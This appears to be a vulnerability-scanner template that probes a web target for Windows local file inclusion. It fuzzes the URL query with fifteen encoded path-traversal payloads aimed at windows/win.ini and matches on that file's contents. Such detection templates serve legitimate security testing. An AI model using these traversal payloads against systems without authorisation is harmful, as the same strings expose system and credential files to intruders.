lfi-windows.yaml

id: lfi-windows

info:
  name: Windows LFI
  author: shelled
  severity: high
  description: Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.
  tags: windows,lfi,generic

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    payloads:
      injection:
      - "..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
      - "./../../../../../../../../../../windows/win.ini"
      - ".%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
      - ".%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
      - "%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
      - "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
      - "%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
      - "..///////..////..//////windows/win.ini"
      - "%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini"
      - "%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
      - "%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00"
      - ".%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini"
      - ".%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini"
      - "../../../../../../../../../windows/win.ini"
      - "%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"

    fuzzing:
      - part: query
        type: replace
        fuzz:
          - "{{injection}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and